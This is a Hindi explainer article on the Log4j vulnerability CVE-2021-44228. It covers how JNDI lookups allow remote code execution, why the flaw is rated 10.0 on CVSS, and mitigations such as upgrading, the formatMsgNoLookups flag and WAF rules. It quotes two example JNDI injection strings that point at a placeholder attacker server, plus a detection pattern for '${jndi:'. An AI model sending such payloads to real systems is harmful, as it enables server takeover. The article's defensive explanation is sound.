Java लाइब्रेरी Log4j में गंभीर सुरक्षा कमजोरी ने लाखों सर्वरों को खतरे में डाल दिया

शुरुआती लोगों के लिए ऑनलाइन Python प्रशिक्षक

Python आसानी से सीखें बिना सिद्धांत के बोझ के। स्वचालित जांच के साथ व्यावहारिक कार्य हल करें और ब्राउज़र में सीधे कोड लिखें।

पाठ्यक्रम शुरू करें

लोकप्रिय Java लाइब्रेरी Log4j में गंभीर कमजोरी: हर डेवलपर को क्या जानना चाहिए



10 दिसंबर 2021 को Java डेवलपर्स के समुदाय में एक ऐसी घटना घटी जिसे साइबर सुरक्षा विशेषज्ञों ने पहले ही "दशक के सबसे गंभीर खतरों में से एक" कहा है। बात हो रही है Apache Log4j लाइब्रेरी में गंभीर कमजोरी CVE-2021-44228 की — जो Java एप्लिकेशन में लॉगिंग के लिए सबसे लोकप्रिय टूल में से एक है। यह कमजोरी हमलावर को इनपुट फील्ड में सिर्फ एक लाइन का उपयोग करके सर्वर पर दूरस्थ रूप से मनमाना कोड निष्पादित (Remote Code Execution, RCE) करने की अनुमति देती है।



Log4j क्या है और यह क्यों महत्वपूर्ण है?

Log4j एक ओपन-सोर्स लाइब्रेरी है जिसका उपयोग लगभग सभी बड़े Java प्रोजेक्ट्स में किया जाता है: कॉर्पोरेट सिस्टम से लेकर क्लाउड सेवाओं (Amazon, Apple, Twitter, Minecraft और हजारों अन्य) तक। यह लाइब्रेरी इवेंट (लॉग) रिकॉर्ड करने के लिए जिम्मेदार है — त्रुटियाँ, चेतावनियाँ और डिबग जानकारी। यह कमजोरी Log4j के संस्करण 2.0 से 2.14.1 को प्रभावित करती है।



हमला कैसे काम करता है?

समस्या JNDI (Java Naming and Directory Interface) तंत्र में है, जिसका उपयोग Log4j बाहरी स्रोतों से मानों को प्रतिस्थापित करने के लिए करता है। हमलावर एक दुर्भावनापूर्ण स्ट्रिंग के साथ HTTP अनुरोध भेज सकता है जैसे:

  • ${jndi:ldap://दुर्भावनापूर्ण-सर्वर/एक्सप्लॉइट}
  • ${jndi:rmi://दुर्भावनापूर्ण-सर्वर/एक्सप्लॉइट}

यदि एप्लिकेशन इस अनुरोध की सामग्री को लॉग करता है (उदाहरण के लिए, User-Agent या हेडर), तो Log4j निर्दिष्ट सर्वर पर JNDI अनुरोध निष्पादित करता है। जवाब में, सर्वर हमला किए गए मशीन पर एक दुर्भावनापूर्ण Java क्लास लोड कर सकता है, जो हैकर को सर्वर पर पूर्ण नियंत्रण देता है।



इस कमजोरी को गंभीर क्यों कहा जाता है?

विशेषज्ञों ने इस कमजोरी को CVSS पैमाने पर अधिकतम खतरा रेटिंग — 10.0 में से 10.0 दी है। कारण:

  • शोषण में आसानी — प्रमाणीकरण या विशेष कौशल की आवश्यकता नहीं है।
  • व्यापकता — Log4j का उपयोग लाखों एप्लिकेशन में किया जाता है।
  • पता लगाने में कठिनाई — हमला अदृश्य रह सकता है क्योंकि यह मानक लॉग में स्पष्ट निशान नहीं छोड़ता।


कैसे बचाव करें?

डेवलपर्स और प्रशासकों को तुरंत निम्नलिखित कदम उठाने चाहिए:

  • Log4j को संस्करण 2.15.0 या उच्चतर में अपडेट करें — पैच डिफ़ॉल्ट रूप से JNDI प्रतिस्थापन तंत्र को ब्लॉक करता है।
  • JNDI को अस्थायी रूप से अक्षम करें — यदि अपडेट संभव नहीं है, तो JVM पैरामीटर जोड़ें: -Dlog4j2.formatMsgNoLookups=true।
  • डिपेंडेंसी जांचें — कई लाइब्रेरी (Spring Boot, Struts, Hibernate) Log4j को ट्रांज़िटिव डिपेंडेंसी के रूप में शामिल करती हैं। पुराने संस्करणों को खोजने के लिए Maven/Gradle का उपयोग करें।
  • ट्रैफ़िक की निगरानी करें — ${jndi: वाले अनुरोधों को ब्लॉक करने के लिए WAF (Web Application Firewall) नियम कॉन्फ़िगर करें।


निष्कर्ष

Log4j में कमजोरी एक अनुस्मारक है कि सबसे अच्छी तरह से परीक्षण किए गए घटकों में भी घातक त्रुटियाँ हो सकती हैं। Java समुदाय के लिए, यह घटना डिपेंडेंसी प्रबंधन और सॉफ्टवेयर आपूर्ति श्रृंखला सुरक्षा के दृष्टिकोण पर पुनर्विचार करने का एक कारण बन गई है। यदि आप अपने प्रोजेक्ट्स में Java का उपयोग करते हैं, तो Log4j के संस्करण की जाँच करें।

अनुशंसित लाइब्रेरीज़